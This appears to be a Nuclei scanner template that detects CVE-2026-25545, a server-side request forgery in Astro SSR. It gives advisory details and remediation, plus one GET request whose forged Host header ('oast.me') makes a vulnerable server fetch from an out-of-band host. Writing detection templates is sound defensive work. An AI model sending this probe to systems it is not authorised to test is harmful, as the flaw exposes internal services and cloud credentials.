id: CVE-2026-25545

info:
  name: Astro SSR - Server-Side Request Forgery
  author: ritikchaddha
  severity: high
  description: |
    Astro before 5.17.3 and @astrojs/node before 9.5.4 are vulnerable to full-read SSRF due to improper Host header validation in error page rendering, allowing attackers to redirect requests and access internal resources.
  impact: |
    Full-read SSRF allowing access to internal services, cloud metadata endpoints (AWS/GCP/Azure IMDS), environment files, and any host reachable from the server.
  remediation: |
    Upgrade to astro >= 5.17.3 or @astrojs/node >= 9.5.4. The fix reads prerendered error files directly from disk and validates the Host: header the same way X-Forwarded-Host was already validated.
  reference:
    - https://github.com/withastro/astro/security/advisories/GHSA-qq67-mvv5-fw3g
    - https://github.com/withastro/astro/pull/15473
    - https://nvd.nist.gov/vuln/detail/CVE-2026-25545
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-25545
    epss-score: 0.05142
    epss-percentile: 0.8998
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    vendor: astro
    product: astro
    shodan-query: http.component:"Astro"
  tags: cve,cve2026,astro,ssrf

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{randstr}}"
    headers:
      Host: "oast.me"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "<html><head></head><body></body></html>")'
          - 'contains(header, "X-Interactsh-Version")'
          - 'status_code == 404'
        condition: and
# digest: 4a0a004730450221009a54f7428480f6bded29a8960316b7d7bf37d03b71884491aa1c7bc71d861e5002202d1926db66027f00858578bfeaffc4b184dda581a63262b4c4273b2669c8ed43:922c64590222798bb761d5b6d8e72950